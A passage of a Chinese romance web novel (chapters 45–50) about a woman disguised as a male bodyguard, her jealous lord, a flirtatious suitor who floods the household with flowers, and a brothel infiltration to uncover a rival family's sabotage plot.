“这位客人,珍奇古玩店只接待会员,不对外开放。请问,可有会帖?”一位中年人走过来,礼貌对黄棣说道。
第45章 眉来眼去
楠国二十六年,新春月。
“霍玉相争”之事最终惊动了皇帝,在公主南璃君的转圜下,令霍家在年后归还六个码头堂口给玉家。
其余的因玉家拿不出地契和约书,只能作罢。
霍帮占了大便宜,安静老实了好一阵。
甚至为了改变“匪道”做派和形象,特意做东,举行了一场规模盛大的春日宴,地点就选在烟城北最大的赛马场。
场地被圈分成十几部分,有宴饮的、投壶的、蹴鞠、打叶子戏的、乐舞的……
最大的一处场地则是赛马夺花的场子,多是年轻公子们在场上较量驰骋,抢夺终点的鲜花,送给心仪的姑娘。
世家公子小姐们常日里被规矩束缚,难得有能见面玩乐,甚至正大光明向心上人表露心迹的时候。
故而整个春日宴上,赛马夺花场上**的人最多。
贵客们坐于廊台高座,听着下面场子里叫好连连,不断有年轻公子赢花,又将花送出,惹得姑娘们莺声燕语,娇笑频频。
霍乾念面色平淡地坐在主位右位,叶峮、花绝和云琛随护,不言隐在暗处。
云琛正在霍乾念后方踱步,眼观六路耳听八方,观察着来来往往的人群,突然衣角被人拽了一下。
她一回头,是小月儿偷偷摸摸地找过来,悄声说:
“云护卫,你来一下,我有事找你。”
云琛拒绝:“不行,我值守的呢。”
小月儿继续压低声音,“我刚才和叶峮护卫说过啦,借你一个时辰,他应了。”
云琛再次拒绝:“不行不行,今日人多,唯恐有人趁乱生事,得比平时防得更仔细,我不能离开。”
小月儿急了,“都说叶峮护卫同意了!你还那么死心眼干嘛!不是我找你,是二小姐找你,行不?”
如果是霍阾玉找她的话,只需通传一声即可,何须这样偷偷摸摸。
云琛拒绝三连:“小月儿不要撒谎,肯定不是二小姐找我。”
见骗不过云琛,小月儿气得直跺脚,低声骂道:
“你个没心肝的臭云琛!先前以为你被玉家害**,二小姐直接伤心晕厥了过去!听说你又活着回来了,二小姐愣是在屋里又哭又笑,高兴得不知怎么才好!可你这黑心的家伙,这么久了,从来不去看二小姐一眼!你知不知道每次你外出办差,二小姐都担心得睡不着觉……”
见小月儿开始和不言一样,说个没完没了,云琛赶忙求饶:
“好了好了,月儿姐,我错了,你有啥事说吧,我办,行不?”
小月儿这才打住话头,指着赛马夺花的场子道:
“你去夺个花来,送给二小姐!”
云琛瞪大眼睛,“我疯了?”
小月儿柳眉倒竖:“刚不是还答应办吗?你想反悔?”
云琛哭笑不得,“月儿姐,这是什么场合啊,怎轮得到我一个护卫上去比试?我若夺花给二小姐,岂不是让人非议二小姐清誉?退一万步讲,就算我去给,人家一看我是霍家护卫,也会笑话二小姐的。”
小月儿才不管这些,耍赖地抓住云琛袖子不放。
“不行!你必须想办法给二小姐送个花!你看场上的世家小姐们,人人都有花,就是没人给二小姐送!二小姐太可怜了!”
小月儿说着,眼圈红了起来。
霍阾玉长得娇美可人,虽然骄横了些,但性子真善,是个好姑娘。
当初霍家祠堂的事,到底是在玉阳基的刻意下,捕风捉影地传了些东西出去。
再加上如今霍帮行事无状,与玉家同处风口浪尖,故而没有哪家公子敢来打霍阾玉的主意。
云琛在场扫视一圈。
的确,每个姑娘怀里都有花,有的还抱了好几朵。
只有霍阾玉手里什么也没有,强撑着气势坐在一旁,维持着霍家二小姐的傲气。
“唉……”云琛看得心里不是滋味,可又不想再次惹霍阾玉芳心。
想了半天,云琛问小月儿,“你来找我,二小姐知不知道?”
小月儿疯狂摇头,“不知道!你也别出卖我!要是二小姐知道了,指定要狠狠骂我,罚我半年月钱的!”
云琛点点头,“行,这事儿我
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办了。但你得答应我,一会无论谁上场夺花,你都不许告诉二小姐和我有关,否则我让二小姐罚你三年月钱,饭都不给你吃,将来更不给你婚配出府。”
小月儿羞得满脸通红,狠狠拧了云琛胳膊一把,“知道啦!你这狠心的家伙!”
云琛疼得直吸凉气,一边揉搓被小月儿掐青紫的地方,一边满场去找人。
这事她单枪匹马可干不了,得找个信得过的搭子。
她看了一大圈,终于在左列的人堆里找到半年没出现的颜十九。
颜十九一直都在望她,却只见到她铁面戒备地履行护卫职责。
此时见她看过来,他不禁喜笑颜开,朝云琛挥手大喊:
“可可爱爱小云兄!好久不见,甚是想念!”
一刹那,所有人都被颜十九这句没脸没皮的话吸引过去,顺着视线看向云琛。
云琛臊得脸发红,恶狠狠地瞪着眼睛,意图告诉颜十九她很生气!
颜十九乖觉地闭嘴,故意做出听话的样子,露出个听话顺从的笑容。
看见这一幕,旁边的叶峮问道:
“阿琛,你和颜十九很熟吗?”
云琛尴尬回答:“那个,见过两次,他没脸没皮,自来熟!”
花绝有点不乐意了,“‘可可爱爱’?还‘小云兄’?我怎么听着那么来火呢?”
云琛不敢接话。
颜十九这一闹腾,她不得不去霍乾念跟前告假,只能说是友人相邀,她想去一趟。
霍乾念早就看到她与颜十九的“眉来眼去”。
他喝罢一口茶,面无表情地放下茶杯,杯底在茶托上发出清脆的声响,引得旁边的南璃君都看过来一眼。
“快去快回。”他这样说。
“多谢少主!”
她掐着那个“主”字,头也不回地跑出去。
身后的花绝瞧着她的背影,拧着眉头,不高兴地嘟囔:
“见个颜十九有什么高兴的,跑那么快干嘛?”
霍乾念听着来气,冷声问:“怎么,你也想去?”
花绝缩了缩脖子,应了声“不敢”。
第46章 该不会亲了吧?
离开霍帮的护卫队,云琛和颜十九在一处人少的地方碰头。
颜十九嬉皮笑脸地凑过来,“小云兄,想我啦?”
云琛在颜十九面前总是绷不住脸皮,装不出男人样,对于他永远没脸没皮的调侃,她很难适应,红着脸道:
“颜十九,你好好说话,我有正事找你。”
颜**冷天还拿着一把短羽扇,他收起扇子,严肃正经地问:“杀谁?”
云琛气得想捶他,颜十九却哈哈大笑起来。
她道:“借我一身寻常公子的衣服,再整个面巾来,我要去争朵花!”
“花?”颜十九打量周围,光秃秃的全是冬草树枝,没有花,他便道:
“你若喜欢花,赶明儿我把全烟城的花都包圆了,送到霍府给你,何苦去赛马争那么一朵?”
她不想细解释,“我就喜欢这种使劲才能得到一朵花的感觉,行不行?你到底帮不帮忙?”
“帮帮帮!”颜十九压低声音,靠近她,笑道:“云姑娘开口,我无有不应。”
趁云琛发脾气之前,颜十九动作麻利地找来一套男子骑马装,一张蒙面纱巾。
好像量身定制的一样,云琛穿上很合身。
“你与我一同去争,输给我就行。”云琛对颜十九说。
颜十九一边将袖子和衣袍下摆束起来,一边问:“那要是我赢了你怎么办?”
“你不许赢!你把我‘送’给公主当人情的事,我还没找你算账呢!”
“那我救你在先,你还没报答我呢!要不是我恰好路过玉家码头,你就没命了!”
“你还骗我是恩主呢,害得我差点在海里没了命,你怎么不说?”
“哎?你还那啥,你还——”
颜十九眼睛滴溜溜一转,笑的贱兮兮:“算了,我就喜欢这种和你拉扯不清的感觉。”
云琛骂:“颜十九,你实实在在是不要脸的。”
片刻后,两人来到赛马夺花的场子。
颜十九,颜十九的一个护卫,还有蒙着面巾的云琛,三人勒马比肩,等待号令。
赛官将一朵开得热烈的桔梗花悬挂在终点,举锤敲锣,示意开始。
颜十九第一个策马冲了出去。云琛和他的护卫紧随其后。
一路跃高栏、穿门洞、射箭、马球击鼓……
颜十九的护卫在穿门洞的时候就自觉“败下阵”。
剩下云琛和颜十九,两人一前一后追逐竞赛,颜十九好几次都跑到云琛前面去了。
云琛赶忙猛抽马屁股,与颜十九并驾齐驱,“只是让你陪我赛一场,你干嘛这么卖力?”
颜十九笑道:“你喜欢那花,比起自己去夺,我夺来给你不更有趣?”
“哎不是——”云琛话还没说完,颜十九就猛勒缰绳,高高飞跃过围栏,两腿夹马,弯腰拾弓,抬手一箭正中远处靶心,引得周围一片叫好。
见颜十九动真格的,云琛赶忙拿出看家本领紧跟而上,飞马射箭,球击双鼓,激得高座上的宾客全都开始鼓掌。
最终,云琛险胜,只比颜十九快了半步,夺下桔梗花。
云琛拿着花,策马徐徐走向观礼廊台。
所有人都等着看,这蒙面巾的神秘少年要将花送给谁。
但别人不知道,与云琛朝夕相处的叶峮和花绝岂能认不出她的身段。
联想到刚才小月儿来找过云琛,再看看霍阾玉空空如也的手边,一朵花都没有,叶峮猜了七八分,便附到霍乾念耳边解释几句。
果然,云琛骑马行至霍阾玉面前,翻身下马,献上桔梗花。
在周围年轻公子小姐们的笑闹声中,霍阾玉望着那双熟悉的眼睛,忍不住神情微怔,眼中涌起水雾。
“云……”霍阾玉刚出口一个字,云琛急忙打断:“美人如花隔云端。霍二小姐,
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祝您安好。”
霍阾玉垂眸,咬着嘴唇,接下桔梗花,轻轻道了声:“谢谢。”
云琛心里则十分郁闷,都蒙上面巾了,霍阾玉怎么还是把她认出来了。
她欠身行礼,翻身上马,慢慢朝场外走去。
谁知那不长眼的颜十九却横马撞了过来,云琛一时不防,被撞跌下马,一屁股摔坐在地上。
两匹马阻挡住大部分人的视线。
颜十九潇洒地跳下马,衣袂飘飘地落在云琛面前,一把扯掉她脸上的面巾,高高抛扬起。
面巾在空中摊开,柔柔飘落在云琛的发顶,将落的一瞬间,颜十九猛地探身钻进面巾下,鼻尖贴上她的鼻尖,变戏法似的掏出一枝狗尾巴草,轻笑道:
“云姑娘,请笑纳。”
云琛被吓得呼吸一滞,愣愣地看着颜十九。
那小脸呆傻的样子,全数落在了颜十九眼中。
未等她开口,颜十九又一把扬起方巾,重新叠围在她面上,仿佛什么都没有发生过一样,快速翻身上马,笑着说了句“再会”,便策马离去。
一切都发生的太快,她压根没反应过来,手里就多了一枝毛茸茸的狗尾巴草。
她下意识将狗尾巴草藏进衣襟,转而反应过来,这是又被颜十九那厮耍了,又赶紧将草掏出来扔掉,然后抬头望去——
霍乾念正在不远处的廊台高座上静静看着她,脸上没有任何表情,平静得像一滩青黑色的死水。
叶峮站立在“死水”身后,从他的角度看过去,没有马遮挡,那可是清清楚楚看见发生了什么。
叶峮脸色微僵,尴尬道:
“那个……阿琛给二小姐争花争面子我想到了……这颜十九……我是真没想到……”
他俩在方巾底下干啥了?该不会亲了吧??
看着霍乾念冷如冰块、黑如锅底的脸色,这句话叶峮不敢说出口。
第47章 正当男女关系
春日宴过后的第二天,霍府一大早就惊动了。
一车车鲜花源源不断地被送进霍府,每辆车上都立着大大的彩幡,写着“可可爱爱小云兄,请笑纳”。
云琛被花绝从睡梦中拽起来,不言在一旁忧心忡忡道:
“阿琛!完了完了!!颜十九把全城的花都买来送你,霍府都快被花淹了!这**有‘龙阳之好’怎么一点都不藏着掖着?这样大张旗鼓地搞?不是在少主跟前坏你名声嘛?!”
云琛不明所以,迷迷糊糊往外走,一推门,一股馥郁香气扑面而来。
她揉揉眼睛去看,满府上上下下、里里外外,全都堆满了各式鲜花,形成一片梦幻霞光。
不言都为这美景看呆了,忍不住说了句:
“妈的……颜十九这小子真会玩……”
花绝看着不爽,冲进花海一通连踢带打地折腾,却将那鲜花扑腾得如浪起伏,看起来更美了。
哪有女子不喜欢花,管他送花的人是谁,光看这“漫山遍野淹没霍府”的阵仗,这美不胜收的情景,云琛便情不自禁地笑起,忍不住扑进花里,深深地嗅了几口。
不过下一刻,她又突然反应过来:
她现在是男人!大老爷们哪有喜欢花的!
她赶紧收拾起小女子心性,爬起来踢了花一脚,心虚道:
“颜十九这个坏东西!”
她说完转头,霍乾念不知何时到来,正坐在不远处,目光沉沉地看着花海里的她。
她赶忙上前告罪:“少主,我这就去收拾颜十九!”
这话一出,她就觉得用词不当。
怎么听起来她和颜十九已经关系好到可以“收拾他”了。
果然,霍乾念的脸一瞬间就结冰了。
“恩。”霍乾念从鼻子里发出一声,随即转身离去。
他很烦,为什么男女老少人人都喜欢云琛?
霍乾念走后,直到晌午,才不再有新的花送来。
全府堆得满满当当,实在太多,各院各房里都拿回去不少,摆着看、做花酱、泡花澡,连扔带埋的,整整两天才拾掇完。
为此,云琛找到颜十九,上去就是一通拳头。
“颜十九!你是不是故意害我?你就不怕我被赶出霍府?”
颜十九也不躲,笑着挨了一顿拳,“怕什么,霍府不容你的话,我容你呀!”
“容你妹啊!我是护卫,不易二主!”
“那是说普通护卫,你是女护卫,易几主都行,我都要的。”
“你嘴咋总这么欠!”她气得没话说,扭头就要走,颜十九赶紧追上去,围着她好声好语:
“哎呀,别生气了,我不是看你喜欢花嘛,就想送你一点。我开玩笑嘛。”
她睁大眼睛,两手张开比划道:“那么多花也叫‘一点’?”
他不接这句,只笑问:“那你喜欢吗?”
她嘴上逞强,“不喜欢!很影响我铁血护卫的职业形象!”
他故作思索和恍然大悟:“哦,我知道了,是霍乾念骂你了,所以你不敢喜欢,是不?”
她拉下脸,“你别编排我家少主!少主没有骂我。”
他心知肚明地笑,“没骂?那就是生气了呗!唉,堂堂霍家少主,怎么容不得自己出生入死的护卫收些花呢?也太小气了。”
“霍府有规矩的,不许‘龙阳之好’。”她解释。
他一本正经,“这和咱俩有什么关系?咱俩是正当男女关系,哪有龙阳?”
“你!”她被噎得满脸通红,找不到话反驳,只觉得颜十九这家伙巧舌如簧,太能说了,她说不过!
从第一次见他到现在,他永远是这副贱兮兮的模样,跟他计较不是,不计较也不是,只有吃亏被占便宜的份!
真气人!
看着她有恼却说不出的吃瘪小样,他登时哈哈大笑,而后弯腰俯身,摸摸她的发顶,道:
“好啦,不逗你了——我请你去吃蜂蜜牛乳酪,算是给你赔罪。”
她一把打开他的手,“我不去,今日有差事要办呢,收拾完你我就得回了。”
他央求:“吃个蜂蜜牛乳酪而已,快得很,耽误不了多久,再说已经到吃饭时间了呢,我好饿,你就当陪我吃饭,还我送花的人情了!”
这通毛线团一样的逻辑,云琛一下没绕出来,再加上的确有点饿,心下犹豫起来。
颜十九瞅准机会,二话不说,推着她就走:
“走
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吧走吧,最多半盏茶的功夫,你喝快点就行了。再说了,霍乾念要是连碗牛乳酪都不许你吃,那也太苛刻了,他霍乾念不会那么小气吧。”
不容她再拒绝,颜十九拉着她来到食肆,点了一大堆甜咸各不相同的吃食。
她一边说着“吃快点,不能耽误办差”,一边忍不住各样都尝了一口。
颜十九明明说他饿,这会却一口都不吃,只笑盈盈地坐在对面看着她吃,那样子仿佛比他自己吃了还高兴。
她嘴里塞得像小仓鼠,嫌弃地看着他:
“吃啊,我脸上有饭?能看饱吗?”
颜十九两手捧着脸,眼睛亮亮地说:
“我是男人,不爱吃甜食,小姑娘才爱吃甜食呢。”
她已经被迫习惯了“姑娘”这个称呼,再加上她实在无法在颜十九面前装男人,便只浅浅翻了个白眼,以示回应。
颜十九顿时来劲了,又开始言语上没个正形:
“小姑娘喜欢花,小姑娘喜欢甜食,小姑娘还喜欢骑马——我都不喜欢。”
“那你喜欢什么?”
他坏笑,“我喜欢小姑娘呀!”
她愣了一下,脸蹭得红了,埋头吃掉碗里剩下半块糖糕,然后直接将空碗扣在他脸上。
他捧着碗,高兴地仰头大笑。
笑着笑着,目光突然落在她手上,他笑意慢慢收敛。
他见过许多女子的手,有的白嫩,有的粗糙,有的手指修长如水葱,有的骨节粗大有力气。
每双手都代表着每个女子不同的性格和境遇。
他是个对细节很敏感的人,通常从一个人的手,便能看出七七八八。
可云琛的手,和他见过的任何一个女子都不同。
她的手清瘦,苍白,布满细小的裂口。
指甲修剪得很整齐,但指甲盖微微发紫,没有月牙,旁边有许多小倒刺和小伤口。
从她拿着汤匙的空隙看去,能看到右手掌心的薄茧,还有一层覆一层的疤痕。
因为打斗太多的缘故,她手背骨节处也有茧,颜色微微暗沉。
这不是一个姑娘该有的手。
这不是一个姑娘该吃的苦。
颜十九觉得胸口闷闷的。
第48章 极品绿茶
云琛回霍府的时候,花绝见她迟迟不归,已替她把那小差事办了。
她落得清闲,吃得又撑,干脆回屋睡觉。
刚躺下没一会儿,花绝又怒气冲冲地进来拽她。
“阿琛,颜十九那**是不是拿住你什么把柄了?他又送东西来给你了!这**真是龙阳啊!他是不是想把你从霍帮搞走啊!!”
她大惊,心说颜十九该不会又给她送花来了吧?没完了?
她赶忙爬起来去看,却见门口通传的小厮端着一个锦盒走过来。
盒子上端端正正贴着一张封条,写着“可可爱爱小云儿,请笑纳”。
花绝一把打落盒子,万分防备地用脚将盒子踢远,一手拿刀去挑盒盖,一手还护着云琛不让靠近,叫道:
“阿琛你别靠近!谁知道里面是什么害人的东西!”
“颜十九有啥理由害我?”她无奈好笑。
“那可说不定!万一他对你爱而不得,得不到就要毁掉呢?”花绝继续脑补。
她捂住花绝的嘴,将他拖到一边打了两拳,然后去开锦盒。
锦盒里静静躺着一只白玉壶,打开来,只见膏体羊脂如玉,一股馥郁香气散发出来。
她抹一点涂在手上,手上的皲裂立刻缓和许多。
倒是份体面又贴心的小礼物,这才像话。
花绝好奇地凑过来,抠走一大块抹手,然后招呼她:
“走,该吃晚饭了,少主说今晚加菜的——”
自年夜宴过后,亲卫们就时常在北柠堂与霍乾念一起用饭、吃点心。
润禾说,这是霍乾念准许的,说是一个人吃饭太浪费那十几道菜。
果不其然,在他那四个亲卫的嘴里,基本没剩过啥,你争我抢,狼吞虎咽的,就差舔盘子了。
虽说是一起用饭,但霍乾念仍旧单独一桌,亲卫们另围坐小方桌。
每次都是霍乾念这边刚吃两口,那边桌上至少都两道菜见底。
没办法,每日东奔西走,打架出力的,亲卫们不是忙着飞檐走壁就是一动不动地站好几个时辰,实在是饿得快,饿得狠。
再加上四人之间早就称兄道弟,亲密无间,吃起饭来自然不用和对方客气。
这日晚饭,花绝照旧先抢一只鸭腿,吃得满嘴油光,“阿琛,今日你那小差事我替你办了,这只鸭腿我先吃为敬。”
不言夹一大筷子百合嫩芹菜,又夹一大筷子地丁炒肉丝,然后猛扒几口米饭,呜呜咽咽道:
“还有一只鸭腿,阿琛吃。”
每每吃饭的时候,都是不言难得话最少的时候。
叶峮将剩下一只鸭腿掰给云琛,又拆下两个鸭翅膀,夹给不言一只,“你最近怎么光吃菜?多吃点肉。”
不言一面夹菜不停,一面抽空回答:
“最近这些菜对燥痔好,我得多吃。”
花绝露出同情的表情,“我听说,暗卫基本上都有燥痔,好惨,应该很疼,会出血吧?”
不言连连点头,嘴里吃个不停,“别提了,整天隐在房梁上、树上,基本都是蹲着,三天两头出血,有时候都从裤子透出来。这几日才好些。”
叶峮赶忙又给不言夹一大筷子菜,“多吃点,多吃点。”
这时,不言瞧了瞧专心致志啃鸭腿的云琛,好心提醒道:
“阿琛你别光吃肉,吃点菜,不然和我一样痛苦。”
云琛摇头,嘴里鼓鼓囊囊,“我又没燥痔,我不吃,我就爱吃肉。”
叶峮接话道:“还有饺子,我看阿琛天天吃饺子都乐意。”
花绝想起来年夜宴的饺子,感叹道:“年三十的饺子,阿琛吃了四十多个。”
“好家伙!我才吃三十个!”
“阿琛补一补还长个子呢,你都俩娃了,不用补了,再补嫂子受不了了哈哈哈哈……”
“嫂子这胎看起来还是个儿子。叶哥,你马上就要有俩儿子了。”
叶峮一把将鸭架子塞进花绝嘴里:“闭嘴闭嘴!你小子敢咒我?我不管,这胎一定是女儿!”
四人说说笑笑,吃得高兴
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霍乾念在一旁若有所思,看了云琛许久,慢慢垂下眼眸,“云琛,你今日吃太少了,多吃些。”
云琛摸着鼓鼓的肚子,“中午在外面吃蜂蜜牛奶酪了,还吃了好多糖糕,这会撑得慌,吃不动了。”
花绝不高兴道:“你不是去收拾颜十九了吗?怎么还在外面吃了?他请你的?”
云琛点点头,“他说给我赔罪。”
花绝鼻子里不屑一哼,“这还差不多。那他后面送你的白玉羊脂膏,你怎么不涂。那东西我试了下,实实在在挺好,你记得天天抹。”
“不想抹。”云琛干脆利索地回答,“刚抹了一点,拿剑的时候打滑。”
花绝和云琛聊得旁若无人,一直注意着霍乾念表情的叶峮,在桌子底下踢了二人一脚,“吃饭吃饭,食不言寝不语!”
花绝和云琛立刻老实闭嘴,不言却在这个时候吃饱了,开始碎碎念:
“啥玩意儿?颜十九请你吃饭?阿琛,你不要被那家伙迷惑了,一顿饭就能将他害你背上‘龙阳’名声的事揭过!这家伙十有**存着坏心呢,如今公主同盟之下,势力最大的是咱霍帮,下来就是颜十九。你且看这家伙,入伙盐商韩家,立马就赶上我们吞了韩家,他便成了大东家。接着我们和公主同盟,他又不知道耍了什么手段,成了公主盟下第二大商家。这其中能没有这家伙的步步算计?阿琛,留个心眼,别没事和他吃饭,万一给你下毒咋整?你看看你,少主给咱准备这一大桌子菜,你却在外面吃饱了,这不是让少主生气吗?”
云琛看了眼霍乾念,见他面色如常,她便道:
“少主不会生气的。颜十九都知道少主大方,不是小气的人。”
她话音落下,叶峮、花绝和不言立刻齐齐看向霍乾念,后者脸上带着一种从来没人见过的温暖又慈祥的——
令人惊悚的微笑。
霍乾念慢条斯理地喝下一口茶,微笑地说:
“不错,好茶——极品绿茶。”
第49章 少主真偏心
霍府有一项规矩,府医每六个月会义诊十日,为府中护卫、家仆号脉开药,调养生息,这是霍府的对下厚待。
故而几乎人人都在府中有脉案存档。
这天,霍乾念叫润禾去调来云琛的脉案,片刻过后,润禾空着手回来了。
“少主,府医说没有云护卫的脉案,云护卫从没找他号过脉。”
霍乾念问:“那总该有疗伤的记档,云琛受过许多伤,外用金创药,内服汤剂,都该有记档才对。”
润禾知道霍乾念对云琛的事一向都寻根问底,早就问清楚了,信心满满地回答:
“少主,府医说了,云护卫脸皮薄,从来都是自己换药治外伤,不假手他人。至于内服的汤剂,护卫们受的伤都差不太多,大同小异,不太更换药方,云护卫一般都是直接拿去用。”
霍乾念思索一阵,“老太爷那边不是给云琛开过许多补药吗?有没有脉案?”
润禾就等着霍乾念问这句呢,咧嘴笑道:
“少主,这个我也去问了,老太爷总把云护卫当成未过门的儿媳,直接让大夫给开的女子驱寒暖身、美容养颜、调经养血的补药,没把脉,说是女子都能喝的。”
“胡闹!女子喝的药怎能给男子服用,岂不是……”
霍乾念话说到一半,脑海中突然闪过那个雪白的、印着一块指甲盖大小红痕的雪绒坐垫……
他一直以为云琛是患有隐疾,同不言一样有燥痔之苦。
可后来据他观察,云琛似乎并没有燥痔。
没有脉案,不许别人诊疗治伤,再加上云琛醉酒时说过的那句“我不喜欢女子…”
霍乾念陷入沉思,随即脑袋“轰”的一声。
一个大胆又疯狂的想法乍现心头:
云琛他……他该不会是女子吧?
霍乾念感觉有点崩溃。
他日日夜夜挣扎在自己是不是“龙阳之好”的痛苦中,把那霍府家规抄了几十遍,烧了一本又一本。
现在他却发现云琛可能是女子??
他觉得自己一定是太盼望着云琛若是个女子就好了,才会冒出这么荒诞的想法。
一个女子怎么混迹男人堆里做流浪武师?
一个女子怎么只身与水**搏斗?怎么能将他绝世的隐月剑舞得那么潇洒利落?
一个女子怎么躲得过霍府的亲卫验身,和一大群护卫们朝夕相处还不被发现?
一个女子怎么……怎么……
他想不通,觉得实在太荒唐。
他心里劝慰着自己,冷静点,别意乱情迷到快要疯癫,下一刻却在见到云琛走进来时,忍不住去探究。
云琛和叶峮、花绝、还有不言一起,勾肩搭背有说有笑地走进来。
她仍是一张带着阴柔气的少年俊容,目光澄澈,全无半点心机,气质看起来和另外三人并无不同,就是瘦了些,矮了一截。
“见过少主。”四个亲卫进屋之后立刻整顿面容,齐齐行礼。
见霍乾念一直不说话,只是目光异样地盯着云琛,叶峮不明白为什么,但还是开口打断:
“少主,您说要将我们四人一起外派,可是有什么要紧事务?”
霍乾念回过神,揉了揉眉心,将疯狂喷薄的思绪一点点收回,开始与几人说正事。
霍帮如今在漕运上,占据冲锋铁木船的大优势,借口霍肖瀚的事,让玉家吃了好大的哑巴亏。
玉家便存了报复之心,意图在霍帮的绸缎行当里生事端,暗中拉拢霍帮的原料商。
霍帮的探子已打探到玉家将与原料商会面的时间地点。
因这次关系一批价值不菲的百万斤原料,故而霍乾念便决定派四个亲卫一起上阵,将玉家的阴谋摸个清楚。
叶峮知道霍乾念的打算,是要在玉家阴谋局外再设一局,将玉家打个措手不及。
“少主可已有主张?我等四人怎么潜入?”叶峮看着探子呈来的密函,有点发愁。
因为密函上写着:二月二十,酉时三刻,百香楼天字房。
他们四个大男人进青楼很正常,但总不能直接推开人家天字房的大门,说句“好巧好巧,一起吧”?
而且青楼人多眼杂,不便**,实在难搞。
不言道:“青楼这地方人多灯亮,我也隐匿不住,咱们得想法子正大光明地进去,还不能被发现身份才行。”
说到这,叶峮和不言
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默契地对视一眼,盯向花绝,“嘿嘿”贼笑一声。
花绝大感不妙,拔腿就要跑,却被叶峮和不言坏笑着摁住。
花绝拼命挣扎,“你们休想!打死我我也不扮女子!凭啥次次都是我!”
不言故意浪笑一声,“嘿嘿,花哥扮起女子来那可是倾国倾城闭月羞花沉鱼落雁惹人垂怜啊,想当年花哥一席红裙冠绝烟城,直勾的那些公子们日思夜想,愣是到处打听了半年才作罢——”
不言的话显然勾起了花绝某些非常不愉快的回忆,他急忙指着云琛大叫:
“别光折腾我啊!阿琛扮起女子指定比我好看!这次让他扮!”
叶峮笑道:“这次你俩都扮,你俩扮花魁,我和不言扮小厮!”
云琛大惊:“别别别!我穿不了!我我我……”
一见有同伴,花绝只得认栽,干脆揽住云琛肩膀,故作调戏地摸了下云琛的脸,道:
“嘿嘿,阿琛细皮嫩肉的,那些老色鬼肯定都围着他,我就少受罪了!”
说着,花绝直接扯下一旁纱帘围在云琛头上,遮住她少年束发,又从花瓶里抽一朵玉兰花别在她发间,惊奇打量:
“好家伙,随便一扮就这么美!阿琛,你要是穿起裙子来,那还得了!简直烟城第一花魁呀!”
霍乾念从旁抬眼望去,不禁眼眸微动,心头跳了跳。
那从来带着阴柔,却被少年束发和长剑中和了的气质,此时只露着纱帘下一张清秀佳人的脸。
肤若凝脂,丛眉如画,小鹿一样的大眼睛透着水灵和害羞,眼中不敢与人对视的那点羞怯,着实更勾得人心痒。
只是如此简单装扮,便叫人移不开眼。
若云琛真的是女子,霍乾念不知那该有多惊艳。
云琛生怕一来二去暴露她女扮男装,只得红着脸扯下纱幔,故作男子气概地凶道:
“别搞我!我堂堂男子汉大丈夫,受不了这娘兮兮的东西!拿走拿走!”
几人闹了一阵,最后在霍乾念的发话下,才老实妥协:
“叶峮和云琛扮作小厮,花绝和不言扮作花魁。”
不言哀嚎一声“少主真偏心”,只得认命。
第50章 花魁娘子
百香楼,烟城最大的一处青楼。
叶峮用起老套路,四人先以男人身份进入,而后寻僻静处快速换装打扮。
云琛和叶峮换上普通小厮的衣服,“伺候”衣裙飘飘、带着面纱的花绝和不言,走进目标的天字客房。
房间里,一个容貌粗犷的胖子和一位身量纤瘦的年轻人正在把酒言欢。
那胖子姓袁,正是霍帮此次购入百万斤原料的原料商。
身量纤瘦的年轻人则是玉家丝绸堂口上的二管事。
“贵客,花魁娘子来了。”叶峮几人闯进来,装作走错房间,“哎呦,叨扰二位爷。”随即告罪一声就准备离去。
袁胖子没有说话,看起来不甚在意,倒是那玉家二管事上钩,大叫:
“美人慢走慢走!让我瞧瞧花魁什么样?”
叶峮装作很困难的样子,“这……这……其他客人已付过定金,我不好退钱吧……”
这时,花绝扭着小腰华丽转身,轻轻揭开面纱,对着玉家二管事含羞一笑。
花绝不愧沾点霍氏血脉,那玉家二管事一见他,立马眼睛都直了,色眯眯地笑道:
“不管别的客人付多少钱,我都出三倍,请这位花魁小娘子陪陪我。”
“哎呀,爷,您真让奴家难做......”花绝欲拒还迎了一下,小碎步飘过去,柔若无骨地倚靠在玉家二管事肩头,朝对方抛了个含情脉脉的媚眼。
那模样又美又撩人,直接给云琛看愣了,心说:
他好会啊......
不言也赶紧有样学样,学着花绝的样子妖娆转身,谁料却吓得胖子和玉家二管事双双一抖:
“这个就算了,太丑了。”
“她嫖我,还是我嫖她?”
不言暗自咬牙,快速与叶峮交换眼神,默契思量对策。
这时,袁胖子眼尖地发现一直站在花绝身后、弓着腰装小厮的云琛,指了指她:
“留这个吧,来给我侍酒!”
那玉家二管事搂着花绝,浪笑道:“别呀,来这里就放松呗,要个小厮有什么用?”
“不啦,我早戒这些了,养生呢!”胖子说得煞有其事。
云琛立即与不言交换位置,朝胖子行礼,“小的愿意伺候大爷。”
这么一来,留在厢房里的成了花绝和云琛,叶峮与不言则退守外围呼应。
两人刚一退出去,那玉家二管事立马朝花绝胸口摸去,差点把他衣服里俩大窝窝头抓下来。
怕被发现男人身份,花绝连连娇羞抵挡,假装柔弱害羞地捂住胸口,实际牙齿已咬得咯咯直响。
看着花绝这么快就被吃豆腐,云琛后背有点**,再看自己这边,倒还好。
那胖子看着还算正经,既不对云琛动手,也不用色眯眯的目光看她,只要她倒酒布菜,偶尔还对云琛不熟练的动作表现出些许不耐烦。
这让云琛不由暗暗庆幸运气好。
不多时,那玉家二管事对花绝好好“新鲜”了一会后,终于开始和那胖子言谈正事,道:
“袁老板,霍家要的那百万斤原料,可已安排妥当?”
那姓袁的胖子回道:
“放心,全部都用白藤草汁浸泡透了,保证他霍帮织布易,染色难,最后费了十八遍力气才上色后,一卖出去,人穿上几日就会慢慢起红疹,全都去找他霍帮的麻烦,赔钱都是小事——”
玉家二管事笑道:“大事自然是——由我们玉家带头砸铺子告官,再闹出几条值钱的人命。这样一来,至少扒他霍乾念一层皮。”
“玉家正好趁此机会大量进购原料,到时候这绸缎几金几银,是贵是贱,都是玉家说了算,我也跟着沾光啊!”袁胖子接话。
那二管事自然听得懂,立马拍着胸脯,得意洋洋道:
“袁老板放心,玉家绸缎庄的原料,今后六成都从您这里进,咱们白纸黑字约定不悔。另外这次让霍帮吃瘪的买卖,玉家黄金奉上这个数——”
那二管事说着比画了一个数字,叫袁胖子大喜过望,连连碰杯畅饮。
云琛和花绝悄悄交换眼神,准备等袁胖子和那二管事再聊一会儿,一交代清楚重要的交出货、签约书、付定金的时间,就想办法脱身。
谁知这时,那袁胖子酒足饭饱,却突然不想聊了,扶了下头,好像有些眩晕的样子,对云琛道:
“唉,喝多了,这位小哥陪我去坐船醒醒酒吧,等清醒些再来谈正事!”
云琛与
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花绝暗暗对视一眼。
